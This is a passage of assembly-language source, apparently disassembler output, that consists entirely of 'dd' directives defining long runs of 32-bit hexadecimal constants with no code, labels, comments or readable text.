		dd 9CC257Eh, 44FCF0A9h,	89678015h, 410FF02Bh, 0A247CD3h
		dd 0CBA24883h, 2943BED4h, 94D792A9h, 5741D110h,	87840B86h
		dd 0F8867585h, 0E3714182h, 0C24FF38Ah, 0C1D392D1h, 5B926A8Ch
		dd 6970AD62h, 49FC1365h, 41BA1471h, 71A3C424h, 0B39CC61Fh
		dd 15151828h, 1817526Dh, 39B6FF1Ch, 163FF2E3h, 0EF5A4752h
		dd 0E9338489h, 9F5BB988h, 279E04C1h, 8C207D7Bh,	0DE3CB454h
		dd 0D46F02E4h, 8230D3FFh, 0B567CBFEh, 5B40BEF6h, 0F8A215EDh
		dd 0F7A7CC3Bh, 3C62656Bh, 368BBE17h, 8541B2A7h,	0C451A0C3h
		dd 0EA07787h, 2C0BC6C7h, 0E23D7B91h, 9CDB7000h,	0E6801712h
		dd 7AAA0D02h, 102343D1h, 79B728DDh, 9B4BAFDFh, 0AC45928Ah
		dd 0A07D5F23h, 0A04B4094h, 4364B1AEh, 0BFCFAE76h, 9643922Ch
		dd 206A5A9Ch, 23376971h, 0F75773B7h, 0BA0F3C99h, 335C1E5Ch
		dd 19574BA1h, 0A5F94332h, 0F8668050h, 9721A4BDh, 11622728h
		dd 2A9D888Bh, 0C36BAE7h, 11002C9Ch, 0CEE035A2h,	8421BCCAh
		dd 3877352h, 7019B3A2h,	0DD3D61EDh, 4133B0A5h, 0E313DCDBh
		dd 610328C4h, 0C4184C8Ch, 39AE5515h, 9310B04Fh,	11ABFB30h
		dd 64C4E05Ch, 28BB4E5h,	829DB3CCh, 4095E2F8h, 2663421Fh
		dd 97576F00h, 18C90635h, 0FA3F7F76h, 0F9F6457Bh, 0D4D12E86h
		dd 0B8B79898h, 0A3C29D4Eh, 7056C64Fh, 62E333EDh, 4CAB3373h
		dd 65A3A20Eh, 57C47836h, 0FBE473Ch, 4BC6C68Ch, 2351E6B6h
		dd 72A6E8D7h, 0BED77630h, 0EDD5B02Ah, 0F7622007h, 0C3CB22ABh
		dd 0BC48A8F8h, 0A66AF2C9h, 11747B11h, 0E7F339E1h, 0A6C044D6h
		dd 6B038453h, 13331129h, 2CA7F12Ch, 1D358935h, 16EF4462h
		dd 2AC4FCB6h, 0A1113BC9h, 38EB9E14h, 612E335h, 2736C554h
		dd 0E0B60506h, 0D18C9230h, 806A1E84h, 3BD9BB36h, 251A73E0h
		dd 928E27B0h, 3F22BA24h, 31163E3h, 0D3D9AE40h, 524E6A62h
		dd 0D682C5DDh, 0DC4F43BAh, 0ACD3BE6Eh, 912B6357h, 6F58FAD2h
		dd 0F0959FBEh, 0CDC7C24h, 0D7B55538h, 0E5650009h, 829E6637h
		dd 867FE570h, 2E20D7F5h, 0E1FE4B82h, 3654EDC2h,	24233A03h
		dd 2E12B872h, 0DFA5F202h, 9125A9C1h, 8CDAF42Ah,	8D48E4AFh
		dd 90DA4852h, 531A48A7h, 474AB04Ch, 0F4685005h,	0A7FA2A4Fh
		dd 0C35FCE38h, 0B75B7C74h, 38719882h, 0DF772CDEh, 0D8C9A1D6h
		dd 0D584B524h, 34BA9F85h, 36C9B37Fh, 0D6B22699h, 0A02F5729h
		dd 3FAE0B1Ch, 8BDCC793h, 0BB5F5657h, 884C24AEh,	4A612E61h
		dd 0E8318C16h, 5263611Eh, 10F477CAh, 0E7C698CDh, 0D3DE07A9h
		dd 1E2ED8F9h, 0D5CAF1FAh, 5E31A008h, 614555A1h,	2CB7EE56h
		dd 0D2976410h, 0A3627582h, 285F9AF9h, 2F74F61Bh, 4D356BFAh
		dd 3DB954D0h, 5A51BA30h, 30378383h, 68DCD407h, 0AF0E2266h
		dd 0B4D68A48h, 3A028BECh, 0DEC466BEh, 0C7CDF05Dh, 5EBBD18h
		dd 52011ED4h, 0E15B81ABh
		dd 742A19E8h, 221F991Ch, 8526A6A2h, 0E8718070h,	46445FF0h
		dd 8299313Dh, 0DC5FDE9Ah, 0BF76BC58h, 0F5782473h, 36D6331Ah
		dd 0F38E94B1h, 0AC8570CAh, 710275C9h, 0CC8FDFB1h, 6FF7FDFCh
		dd 0E7A9BA64h, 75419279h, 42C056EDh, 5392D01Fh,	9EBF0DF2h
		dd 6912A1Dh, 9AC9561Eh,	0F2B94289h, 625BB580h, 0F9465B21h
		dd 8FEB47EAh, 0FE38EAFh, 4DD62590h, 0DE44B41Fh,	1EC2DDE8h
		dd 0CE0C34C0h, 0F3F5BC81h, 9DB544BAh, 69101073h, 0C713D91Dh
		dd 63FC53F8h, 8E5792F9h, 0D14EAA29h, 0BFBB3876h, 4CFE2AE1h
		dd 20984613h, 0AA0E9767h, 2C50B471h, 0B9F72BFBh, 0FBD5C4BAh
		dd 675DFF2Eh, 3FD0AE81h, 0AFE19FF4h, 2539533h, 0AC32C88Ah
		dd 8074FC50h, 0B60475C3h, 0DF4F77BFh, 2023C440h, 0A7D9E6A8h
		dd 0FCB3A465h, 21FEB00Fh, 36B0EDA4h, 3B0D77BFh,	4158C485h
		dd 4CC752DEh, 51404DA8h, 7ABC2973h, 7679282h, 6D69957Fh
		dd 0FABB8325h, 0DD8953BBh, 0B23E296Ah, 0FB92593Dh, 150AD34Eh
		dd 2578EFC6h, 0CD83220Ch, 618A76E5h, 810612DBh,	0D99700D0h
		dd 67BA1D6Ch, 7DBD166Fh, 0B391F066h, 717DE418h,	0B9582EC8h
		dd 672D69BEh, 5966E2Eh,	2A117644h, 3FBEA1C8h, 0EE1D4908h
		dd 0D695D7F9h, 6017DE5Ch, 0AEFA50B5h, 0A86A8A43h, 63DFAEDAh
		dd 9FDB91E3h, 9E7CE375h, 9D4E65F9h, 426413E5h, 3121CFAFh
		dd 0E04F52E6h, 0CC58E3B8h, 0CF0DC2C8h, 68976BF3h, 7665AD1Bh
		dd 9D005EE5h, 0F8E5DEC4h, 0EE42E41Dh, 0C3DD5546h, 4FD8B5DDh
		dd 0A163DFFFh, 0B131A6A2h, 7C4FB09Dh, 0D91B5B26h, 34BE9ED6h
		dd 91F83726h, 0E76BAB2Ah, 92D0D064h, 0C2BA6AEEh, 0DBFCDFD8h
		dd 2617F3A6h, 8B5A691Bh, 8485DE26h, 0EE7EA643h,	45576161h
		dd 0BE97A5B9h, 0B5C65C7h, 163EA5E1h, 0F0C7BE52h, 6A085C19h
		dd 823330E5h, 336ADB90h, 0A990A32Eh, 17F559C4h,	0D3F44A76h
		dd 5A657608h, 511A4273h, 979AD58Fh, 89A9C225h, 0FDF1DA7Bh
		dd 5D113071h, 0D9F67363h, 51D7DAE8h, 345FBF6Fh,	9A6B24BBh
		dd 0CC3570A4h, 0EE809559h, 9530BB9Ah, 3AA593D0h, 6E892074h
		dd 0C27389FCh, 7412C984h, 0C7BFCA85h, 54086563h, 4A896BFCh
		dd 88D5CA5Dh, 45880D7Fh, 0B8525EA2h, 12E72866h,	28197D9Fh
		dd 0E4A9F83h, 444389ABh, 0E43C9A96h, 85DB31B2h,	0A73329C2h
		dd 4CD99BF5h, 0DA12BCF4h, 95A3499Dh, 0C3C12346h, 57745B3Dh
		dd 11B1ACF4h, 95DCD1C6h, 4F2426FBh, 870B753h, 0A5E88516h
		dd 51E02170h, 8895EF62h, 7FF8DC62h, 44C2EE10h, 57426E4Eh
		dd 6C448835h, 5DD2D988h, 34BF0857h, 371182E2h, 440E7EB1h
		dd 16D4D32Ah, 0EA4D6391h, 0FEB38F05h, 0F48D11E9h, 480CF72Fh
		dd 93046E16h, 0F26DEFA5h, 0FBC67C44h, 0B353B7D5h, 0E98DB3FAh
		dd 961D68h, 183BD50Fh, 9B2FCAADh, 0F0413335h, 5C196D09h
		dd 8F38E62Ch, 0CAA80BF9h, 6FC30795h, 48953F48h,	6661EEC2h
		dd 6A888824h, 0F8FA282Eh, 8E76623Ch, 0EA5C1AFh,	0ECD89183h
		dd 9E8C16C4h, 8CCEFDC5h, 0E05022F4h, 0DEEB88DCh, 402A4214h
		dd 18B1FF88h, 40691A34h, 0ED56FC45h, 0E61927C4h, 0BB09431Bh
		dd 0B4A8109Fh, 7B1673FFh, 64D66260h, 41897A4Ah,	98142774h
		dd 510A9F3Fh, 0E1C4FEBh, 209CA892h, 7434828Eh, 0C9613CE5h
		dd 6A2E1D0h, 0B1361D69h, 0D5D8E8AEh, 37007222h,	6B062273h
		dd 52C089Ch, 59F2BFD6h,	3C160D98h, 0F245666Fh, 860741E5h
		dd 4401E074h, 35EA502Eh, 0C3F84802h, 7589ED90h,	5B7C8932h
		dd 22C03BFCh, 1B51EF78h, 0A9C39553h, 1331B915h,	0F839B13Fh
		dd 7AEFCD3Eh, 8FA739F7h, 0FBEF6295h, 4E10858h, 7CB84A64h
		dd 0B134177h, 0C496CA2Eh, 0B27EF9BDh, 0F320D6EFh, 2CBEFF63h
		dd 50A0B58Ch, 0A96B8DAFh, 5B365CC7h, 79135CCFh,	0E016D4A7h
		dd 8D22454Eh, 0C5D1E452h, 9DC223DFh, 0A411E8B3h, 7A2BF6A7h
		dd 0F3640AE1h, 1DDBD5BCh, 0C3FA38FAh, 43E07242h, 0F7EBA3F8h
		dd 0FFDF0B27h, 0BBFBB0BAh, 65394289h, 198AE9F5h, 75E0C453h
		dd 0BA5DB3Dh, 2BB2EA30h, 0BE0C2B4Ah, 0C0D9B563h, 17B6C212h
		dd 0A8F8CD49h, 4CF5CB0Ah, 0D6D2B946h, 0ACA17B26h, 0B1A53453h
		dd 0F806EADCh, 9CA45FA8h, 520D92DBh, 0BFFF12FEh, 3061BA4Dh
		dd 7162AE05h, 919E5C5Dh, 0F4262556h, 56F7B948h,	2C56411Dh
		dd 0A2C3EBA6h, 1A14823Fh, 849E87D0h, 3CE8E546h,	95E63327h
		dd 429D9696h, 3DAFF876h, 0F1E62390h, 43138344h,	0DA938380h
		dd 8B554CF6h, 21C8F22Ch, 6523EA99h, 6BCFC7Dh, 0A99B37C8h
		dd 0FF665692h, 0AC60EF50h, 83C2884h, 6C8D2115h,	0DC090283h
		dd 470E32B4h, 29BC38ACh, 0CE7598Ah, 9322D5AFh, 2C14929h
		dd 625DDF5Dh, 0D7638B3Bh, 130B18FCh, 0FF0359D4h, 50CFFB41h
		dd 0F4DAE1D6h, 3B7BAFF0h, 6322037Ah, 0CBAF95B4h, 2C63D37Ah
		dd 4E37DF5Bh, 7CF6DDBFh, 2CC66BC4h, 9964787Ah, 8AF36BA3h
		dd 119A461Bh, 26F01732h, 0B7C67442h, 0FD33004h,	8B8E03F9h
		dd 0B6FB24A9h, 9EF3187Eh, 0F8C4D164h, 40E5BDABh, 1744E8A7h
		dd 4E7FBFD6h, 3F8D23D2h, 858BE6D9h, 38DC88F5h, 0F877D02Ch
		dd 3A0253E4h, 23CAE084h, 0DB901948h, 2845D506h,	7F752910h
		dd 0E88C511Ah, 4B883686h, 5C4B4879h, 16F6C982h,	0C1F44AD9h
		dd 7900FE0Ah, 9ADBE485h, 0FFE658B6h, 562230E8h,	0C347D709h
		dd 0AD13A463h, 0A38CDFD8h, 988379DEh, 0BE58411Dh, 0F882FA00h
		dd 0B598A4A4h, 5670F36Dh, 2462906Bh, 0AE400A1Ch, 0AE4BAAF3h
		dd 0BBA5B97Bh, 0A32A989h, 7BED4940h, 5420D30Bh,	4E1B1CADh
		dd 2C0256Ah, 371EFD5Fh,	0F8E41A4Bh, 15788273h, 79825463h
		dd 0F99D4ACDh, 0C2D8B883h, 90D041E7h, 0F746BF74h, 0A7D8926Ch
		dd 93C41262h, 4A73C7C6h, 112CE12Bh, 0A7CA968Eh,	0B39A71ECh
		dd 0A1B3C0Ah, 40E9D3F8h, 17813ECh, 0EF774D9h, 41D7139Ah
		dd 76AA7039h, 91F4ACA5h, 3020C967h, 0E2A77E4Ah,	0C4D29EBh
		dd 87281770h, 1664E14Ah, 9667AA20h, 708155C7h, 0C70CB1CBh
		dd 1B8F8241h, 0F5818C14h, 0E0286F9Ah, 0D3F9AA55h, 43602060h
		dd 0D75EE3Bh, 9FF896BAh, 80CA9257h, 0A36C1203h,	0A8B01945h
		dd 0CE1AEEC5h, 70EDF16Ah, 8444521Dh, 739701Ch, 1F0E1AB6h
		dd 0FD670DD3h, 0F5373401h, 29DDA14Ah, 5AE89E70h, 59844B99h
		dd 0AA395B71h, 5EEE7475h, 37CC6606h, 8D41D8F1h,	8F526A3Dh
		dd 33315B9Dh, 0EC5E3C9Eh, 0B15DEE02h, 8A6F9D4Dh, 0E5F2ECD2h
		dd 39DAE958h, 0B9CC335Ch, 511E1FC6h, 0D2E94E26h, 4A227CA3h
		dd 0C57BD294h, 32B1016Fh, 0EC5F9F6Ah, 370C16E6h, 0E4D39EBEh
		dd 0DFC53974h, 0DEA8C43Ch, 805DC47Bh, 8DD0830Bh, 0EF8F9DFAh
		dd 0F3D9B837h, 7AE809ABh, 0EFDFC3A8h, 0A07949D4h, 6A483BBAh
		dd 10ED4F2h, 21244A3Ah,	0E6C519ABh, 521CE8B3h, 89B09ADEh
		dd 5F7CB2CEh, 7A067F03h, 76FEA30Eh, 593CB0EBh, 1ABD5750h
		dd 2763AE31h, 403A4FC0h, 402E526h, 0B8BD3CA0h, 5F26A2A4h
		dd 4C6BBE02h, 6958FE54h, 0F2A146h, 6DCAD13Bh, 0C280767h
		dd 6F41F555h, 0EA2B5DAFh, 0E67FC99Ch, 0D068D097h, 0C73C726Eh
		dd 0F5729128h, 6B6978BEh, 85449428h, 68568B50h,	0F428F240h
		dd 0C601A11Eh, 0A4AA5B9Bh, 73A2523h, 8E503C4h, 0C21FE7AEh
		dd 8DBD2D7Dh, 0F68E65FAh, 2AED7E59h, 0DF143CA5h, 664A8357h
		dd 65C7704Bh, 0C65CF56Eh, 7CD93A28h, 492F756Ch,	0CB418919h
		dd 2734D556h, 0B5714252h, 0CA2960F1h, 3D0956D8h, 5FD94928h
		dd 0CA7BDFFDh, 0F3CD1589h
		dd 0D0183CACh, 9184E3A7h, 0CB5FD66Ah, 552DB3FAh, 96C925D1h
		dd 4D6D503Ah, 34BBC2A5h, 0E9423A3Ah, 615CB491h,	8B30CAD7h
		dd 0E59908A9h, 36ACA963h, 8D1AB6E9h, 324A33BEh,	0D299EFA1h
		dd 84F7084Dh, 0BA9A94CDh, 0F045BFBFh, 4915F691h, 63E606DAh
		dd 0D87E0Ch, 63B9DD29h,	12FF5544h, 0D6FE42B3h, 3E86F58Fh
		dd 4765A220h, 0EB0C404Ah, 436A8196h, 0FAE02EFFh, 437C4554h
		dd 89E123F1h, 8B32AE9Eh, 0E1D27E73h, 8D58594h, 0DB665702h
		dd 7BC9E543h, 22CCE83Ah, 70DCA816h, 49DBFBF7h, 4D85B776h
		dd 3742A072h, 0A2C86036h, 81B315B7h, 63A87B40h,	1783F6D6h
		dd 0F5D45499h, 4967FFCCh, 7A3BBF56h, 0CB886AAEh, 0DFE140C1h
		dd 9DA50508h, 274A80CFh, 0F6F39DDEh, 25FC5087h,	6936533Fh
		dd 0B3744167h, 0EE4AD5FFh, 7A1AF909h, 0C3D8B874h, 66C04B3h
		dd 26B279C7h, 0C2732190h, 0E2B5CC17h, 101EE175h, 50DB2F91h
		dd 994F06ADh, 0B5349C57h, 2B76C673h, 50875FAh, 0B468423Ah
		dd 8FEED390h, 8709E8E4h, 53F6F0C4h, 34A448E7h, 191FB418h
		dd 8F831DA5h, 7063AF8h,	92877FAAh, 6BAF4866h, 253BDB02h
		dd 1E171A8Ch, 0CC925B14h, 4AA7AA1h, 9FB36E7Ah, 8B61F4A8h
		dd 97FCCA59h, 0BFEF54DFh, 9B86F77Fh, 0C2BDD487h, 8E9D7276h
		dd 0BC799114h, 0F816CA55h, 4A68A196h, 271ED469h, 614C3DB6h
		dd 6D5364D9h, 5F98AB7Ah, 90C5FDBBh, 98D12FCCh, 698094ACh
		dd 372C0600h, 7BA63ABCh, 7035FB55h, 0A36507F8h,	0BCAF6114h
		dd 0AADFC4E0h, 6F15DA61h, 0D746158Ch, 14C2F77h,	2DF18DF3h
		dd 83157D4Dh, 0D093F3CCh, 2D7D8A69h, 38B54050h,	7C89380Bh
		dd 7B77A7EDh, 91DAE1C6h, 0DFDA9B7Bh, 7008DC8Fh,	0D0A414CDh
		dd 0DE234EEh, 8201283Dh, 6C1BECADh, 40B16FFBh, 0BC4528Eh
		dd 678705C6h, 0A700C1BCh, 32460CDAh, 0B9DD5F74h, 27BE2D3Dh
		dd 73389C8Bh, 947C745Dh, 82D1EE2Dh, 4D1429F3h, 2B18145h
		dd 671242CCh, 9046BD4h,	0DE5E27E8h, 0A404FCE6h,	59F60965h
		dd 786795BBh, 540F63D8h, 57D9ECA0h, 632C2506h, 9F02EF3Ah
		dd 1F65E87Bh, 69779531h, 6B7B9CCFh, 0C020AC51h,	6B0595BAh
		dd 9AA353A2h, 5B315438h, 0B9EEB079h, 0EC9DB455h, 0EC55B301h
		dd 0C9F3C1B6h, 0DAC47A8Ch, 58F3E819h, 1FE328DDh, 0A26CEA62h
		dd 1BC6AE27h, 0AF36E65Fh, 6FF8D49Ch, 5FC26292h,	81D3Fh
		dd 400F70FDh, 0CCF0F598h, 8DC1158Dh, 0F5554DBh,	0FF3F710Ch
		dd 55118C54h, 0DACEDECBh, 0D3CAB7C8h, 0EF722624h, 0AE6FA135h
		dd 0EBC17741h, 7A866D38h, 4FF7B0E2h, 72DB9ED6h,	4725B16h
		dd 9127865Ah, 0B6C8C7E0h, 1C378C8Eh, 1581D484h,	0A0D58CFEh
		dd 732E97EAh, 7E125CE0h, 0E80EF919h, 1BE47087h,	0D3F0062Ch
		dd 0B40E777Ch, 586E8ABAh, 0B1B95863h, 730FAEA3h, 0C8DF687Bh
		dd 6083DC1Ah, 0D4D0C720h, 0FFD2A49Ch, 0BA7DA244h, 0D6527CE0h
		dd 5938A805h, 2DDD287Fh, 0BC14EB91h, 13CE3CD8h,	8AF5F4CFh
		dd 302951C3h, 5C3E1E35h, 8694AFB1h, 0B710E0F6h,	501B440Dh
		dd 0C0D38224h, 95B16910h, 0F7ED3C21h, 2DC6E83Dh, 0BD13BE17h
		dd 717B83B3h, 2E14CE6Ch, 1F65795h, 0A5D6E1CEh, 0C902978h
		dd 6D2B56A3h, 6CDCF914h, 0A0AE49C6h, 3BF5D7DFh,	71CF6984h
		dd 7CC40236h, 80A1DB5Dh, 0E0674252h, 207D1891h,	0C9A8BB8h
		dd 3A5CD7Dh, 77094352h,	0CAA3616h, 0C77E2D39h, 4A3AC845h
		dd 9F24326Ch, 91F3871Ah, 9AF227CDh, 35A25DE0h, 887E4E32h
		dd 42C20411h, 616D8DD9h, 8260AE2Ch, 66809F0h, 0CC22372h
		dd 44A2AF54h, 0E25D8238h, 0BA2E8C54h, 73014249h, 0CD24BF15h
		dd 1997DF53h, 0A3C33265h, 9CCA5281h, 557E4126h,	67757DF0h
		dd 57B694E0h, 99ECA640h, 17F55A24h, 0EC52690Bh,	34066588h
		dd 19882701h, 0EFFA973Bh, 2C7921D6h, 0BE366F9Ah, 594AA6A4h
		dd 0A6D5719Eh, 4BBEB118h, 3172CE84h, 336E7686h,	204241D5h
		dd 7BA9820Eh, 4DFC0D0Bh, 0AFFE90D0h, 13EB6C42h,	6B6418BEh
		dd 9DCFB4C9h, 95627663h, 595F910Eh, 2FAF5C65h, 3C7A2135h
		dd 8E08A142h, 8F0896DAh, 61A5B9D8h, 0C6474407h,	0ABB25113h
		dd 493F4AE0h, 1DC51963h, 0EF4A6C4Dh, 2C2998C2h,	2546C81h
		dd 9EB1227Dh, 0E6B7A45h, 0AA89DB47h, 519EEF4Ch,	0E43D5E0Fh
		dd 0FABF322Ch, 784DD4FDh, 0D2B6AA27h, 93F3B3C7h, 0C51E3E3h
		dd 396BD811h, 30221FA2h, 0AD97B9A9h, 5129ACF9h,	0AF3585A3h
		dd 0E9E884EAh, 4CA2B5C5h, 0B5A40FD4h, 69EA830Bh, 7C7BB66Ch
		dd 7473DCACh, 0F15E761Dh, 8DAA0A00h, 6FF8758Bh,	8309C2DEh
		dd 800D2657h, 24514D26h, 0F040BECDh, 2C7D17FCh,	0F535B7A1h
		dd 0FD7ABF0Eh, 66AA9F0Eh, 1CE55DCAh, 531F7C76h,	8BC4A108h
		dd 0AFBDB73h, 4806EB0Ch, 0A33463C2h, 0CA24B673h, 0C4DE0C10h
		dd 0C5053D7Fh, 0A714F0FEh, 66E50DB8h, 2B0FA3EDh, 1A8CFA51h
		dd 0F419D207h, 0AFC22F86h, 8A4B9C13h, 0F1BCC904h, 0DADFEAE6h
		dd 9605F5BFh, 0CEAAE389h, 57AF0125h, 1B76E45Ch,	8E7C7F68h
		dd 310BA837h, 439AFE4Eh, 9C0B5036h, 8BC14429h, 948AEA7Ah
		dd 212584D3h, 7A27D6DFh, 818A11EBh, 0AE4BE538h,	0F11168F5h
		dd 78EDA2E5h, 0E2DB05A2h, 56B37C42h, 0A27275E1h, 84BE9301h
		dd 0B4025045h, 0D5035B5Bh, 0A949356Dh, 0C82973D5h, 8424B207h
		dd 66A76FA0h, 7FE7452Ch, 0E01A1DE2h, 764F237Fh,	0F8284EF3h
		dd 4564EA0Bh, 0C2EAFF02h, 27C6382Ch, 53AFDAh, 3C96EEFDh
		dd 5F219118h, 1FBCA0B7h, 0A18E7BAAh, 2222CF31h,	0DCAE3252h
		dd 861150EAh, 1EAEE7ABh, 9F49F8C9h, 9DD0E206h, 52AF2490h
		dd 1DF12DFFh, 0FDB87DD1h, 0CB88A51h, 0FC2BF5BFh, 5F8AA2BCh
		dd 8A9F2CCh, 0CFC806E6h, 357568A4h, 582995D2h, 0FA83FF6Dh
		dd 0C790ACFAh, 222DF66h, 0F0B66A62h, 2FD306ECh,	8BC075B1h
		dd 2E972D3Fh, 1EF24A6Fh, 0D2F04E2Eh, 74FF1732h,	99655A05h
		dd 0C348A9E9h, 0CCDA860Fh, 5AC7E782h, 8C4B7EC2h, 0FA0FBB28h
		dd 7F9F18CBh, 58EE11CBh, 2073DF5Ch, 0B9BF3D43h,	88F0417h
		dd 0E0EB6EDDh, 5794EE3Ch, 578ECDC2h, 7FCBEEA3h,	946D0FECh
		dd 2C1A2400h, 32580A0Bh, 0BD3E6B45h, 0D129329Bh, 23F9F0FAh
		dd 9D65B00Fh, 0F40BE322h, 0CDFF53A9h, 9B78146Bh, 0FC2357FAh
		dd 0FCB5A342h, 0CF0FAA1Bh, 0E3B5D33Ch, 0E615A8B5h, 0E859AD74h
		dd 9FBFA5F8h, 0BD223C47h, 250B88F7h, 0F0D2F967h, 0FD098827h
		dd 0D03E6EEh, 905A1B5Eh, 664B166Bh, 9E5EBE3Fh, 0FE48AF54h
		dd 126B705Ch, 22EF266Dh, 6ADE93A8h, 0EE1B9190h,	0FD886F96h
		dd 196B609Dh, 0E38A643Eh, 0F5F1AD87h, 0D221C18Ch, 84E775EEh
		dd 0C43399D8h, 1EAB5270h, 17C80466h, 395A54D4h,	0A2EC87F8h
		dd 0A3AC1A75h, 6A1F5C7Dh, 0B4D1D175h, 0DE6C36Fh, 0D5ED342Ah
		dd 88B82EAh, 64051910h,	47A03B78h, 0DC9E89CCh, 4F16A84Ah
		dd 0D2F68385h, 0F2724821h, 0D15EE4CFh, 11067EF7h, 0FC15231Ch
		dd 0AECE0ABBh, 725AD76Dh, 0AAD758A7h, 0D1B4AEEEh, 9C2DF4BAh
		dd 8197F34Ch, 0ED7056A0h, 64DB6B9Ch, 165952B9h,	815DF4A7h
		dd 0CB8177B3h, 0D3DCC280h, 0EB220874h, 984242A1h, 16B58D47h
		dd 0D7203209h, 1129151Dh, 0EF683A4Eh, 0AF90367Eh, 7C4DB34h
		dd 0B5B9BCAAh, 9D7307B5h, 0F51F01E5h, 0F60C2358h, 7EA368h
		dd 599CEDFBh, 0FD008E80h, 5AD09692h, 0F230AF2Eh, 0A419B2C0h
		dd 481D0335h, 6B9D681Dh, 0C2439F12h, 82DAFDB7h,	59E5C169h
		dd 0EF144AEDh, 0B5614F20h
		dd 81C69810h, 0B0EAF84Ah, 14B02AAEh, 5D71B9h, 7EE352CBh
		dd 1EE50C4h, 8445CE3Ch,	0E759E554h, 0CD726065h,	144CDB9Eh
		dd 91311146h, 90B07ED3h, 6A3CC7Fh, 0EFFD4B4Dh, 9C01BD74h
		dd 6B5688ADh, 1DA4FB5Fh, 0A275F9DAh, 0DE98D16Ah, 1254641Dh
		dd 0E6DBA0D2h, 0B584CE8Fh, 50C98BC5h, 65F2F258h, 0FBA2A740h
		dd 885310B6h, 497B1F9Eh, 6DD71B82h, 0ECDC7828h,	8191B20h
		dd 32F0EB4Eh, 3AB9DD11h, 0E6C3313Ch, 0F75A7C99h, 0D9A494ACh
		dd 49951C78h, 80974F4Ch, 88DB1EB1h, 0FB10FFDBh,	42E1D8D2h
		dd 5D4992F5h, 0A9FCBCCFh, 3C59E855h, 0DFB8014Eh, 0A283CC00h
		dd 0D5164F04h, 0B96133BEh, 4999EAEFh, 5B0B784Fh, 0A12D8B86h
		dd 7B4F88F3h, 6837024Dh, 10083BC5h, 0CEAF94D5h,	22CA8E89h
		dd 0FB3AD4Ah, 0E45AE4BAh, 950C2F43h, 73AF58E7h,	0FAD3DC13h
		dd 1CD23663h, 2DC89CDCh, 40933E2Dh, 95D3C484h, 0D45C35Ch
		dd 6021FFEBh, 937DBDACh, 0D95725A5h, 1D9E3CD6h,	0CAC8FB3Ah
		dd 47D5B068h, 8CA3F4BAh, 2E5F2411h, 4265E91Ch, 232128FBh
		dd 21E13ED9h, 9E6B4A3Fh, 0CB417BBFh, 0CD4D1C4Fh, 0C9590E39h
		dd 43FB36FEh, 26F8CD10h, 5F904148h, 4722A64Bh, 882FBB52h
		dd 27F467B7h, 34A43402h, 0AE96BFF0h, 3D07FBBAh,	1AD88B26h
		dd 6EE4FA90h, 17981E42h, 998AF070h, 96D40856h, 0D91D568Ch
		dd 609697AEh, 3333F518h, 34E5BBF7h, 377A7BD0h, 188D6EB3h
		dd 9C4E35FCh, 9CDB1BACh, 0B2331A25h, 0C653590Bh, 17B2CC13h
		dd 73FB8000h, 78EDE634h, 47604926h, 202B2D5Eh, 0BC18F450h
		dd 0DE582B3Eh, 0CC0CFAE2h, 0B76961A3h, 97FF96BFh, 0D2F6343h
		dd 0ABA70DB1h, 8D188FDh, 0B9FE99A4h, 0FA42E9Fh,	5B4AD201h
		dd 0ACE74DA9h, 8966CBEFh, 5C6E1D67h, 0DB328A9Bh, 1ADA540Ah
		dd 360372BBh, 0E927187Dh, 8F1394E5h, 10B968F9h,	0C985A67Ch
		dd 50BEA6D2h, 0D8E28C7Eh, 203F00E5h, 5B4E5723h,	0C0849B4Bh
		dd 4B97B104h, 786E04F5h, 1A5C4E3h, 816C8BCDh, 8F0C8B6Eh
		dd 43BFA2B7h, 87BE172h,	71AFD449h, 0B9B63FEAh, 0DA0F9706h
		dd 211F616Dh, 137E6964h, 0EE88F909h, 1D2E102Dh,	0EBDCC0D4h
		dd 0BE6CDE49h, 7A1521D3h, 17EE92BDh, 6AABDF60h,	0B4135403h
		dd 4F179F3Bh, 0F8F97B99h, 55BC2C26h, 712F0F02h,	43E17E0Ch
		dd 4CB67977h, 99E467BFh, 0B7F9BC95h, 0A00097C6h, 6D1C0043h
		dd 718E56CFh, 5A3AD398h, 948B8ADBh, 0C68505FAh,	0DFE16A0Bh
		dd 3201329Ah, 0ECC7A45h, 8DC80428h, 44E8E150h, 69746687h
		dd 0C56FA7Ah, 5C0266ABh, 2AAF069h, 58EFA3DDh, 0E6FA9295h
		dd 3E421384h, 0E0C6CF5Ch, 3E028944h, 8C64F86Dh,	9960C9C2h
		dd 6FCDC365h, 0FC721C4h, 660B2D1Ch, 0D21B3A1Eh,	96A683C6h
		dd 0F0007F97h, 3F2C1DC4h, 3FDA15ECh, 57866AD5h,	0C41FB30Ah
		dd 49FE7419h, 0DB149588h, 0E3E89035h, 0EE5A6Ah,	6187F58h
		dd 9A65A75Ah, 10522522h, 0A13525BDh, 0F05A324Bh, 0B40DD190h
		dd 0DD48FA72h, 89FCD1B4h, 7838AFCEh, 8EB7F969h,	0F1E9C71Bh
		dd 0C985C1A7h, 0EFDFB730h, 0B722047Ch, 45839AE2h, 0F799716Fh
		dd 0D907A3EAh, 765F5572h, 0C9DA1666h, 5ED52B23h, 9928D7A8h
		dd 0F2FA8C00h, 6677AD79h, 568DCBFBh, 0B84A184h,	0E90A0150h
		dd 15DAA984h, 62D4CCA3h, 0ED5DCC2Dh, 0FDEA7567h, 0EFF975C3h
		dd 1D6755ACh, 20FB83F6h, 6D8FA756h, 71C501EFh, 2D340C25h
		dd 1E5B85F8h, 0E7C0CAD8h, 30C11A3Ah, 64C54471h,	4B33A63Bh
		dd 0ABF06947h, 1FB50D7Fh, 414A1274h, 0AFF37CE3h, 56B4431Ch
		dd 0C7DBEE7h, 9775D87Ah, 775435A3h, 0FF330B79h,	0E9C0831Ch
		dd 7B79B018h, 0EF677652h, 58977376h, 79C0C8C1h,	0B52FAB9Dh
		dd 5D6FF6ECh, 453BA8FBh, 4D8C1308h, 0C2B90ED8h,	0C60269B2h
		dd 1794C119h, 0AA89FCF7h, 0E2008C8Eh, 0A40A9FE8h, 0C61BDC6Eh
		dd 97E9FCC2h, 65F0DEF0h, 776D8E1Ch, 66E544CCh, 9E9F3B3Fh
		dd 623E97AAh, 9BCA6703h, 801EF406h, 4B6A3D96h, 367A627Fh
		dd 0DB345DCFh, 6F0E776Ch, 0EEE9AABh, 173281BDh,	0EE4D55D8h
		dd 0FD036B35h, 0E816082Dh, 0E574DAB0h, 0D65E0B01h, 5F93DB10h
		dd 8740C4F9h, 4D737107h, 29BCEFCh, 63B75D16h, 0D4657202h
		dd 9DBD5C0Eh, 4596BDB5h, 0A7003BE5h, 8C3DE4DBh,	4E89E98Dh
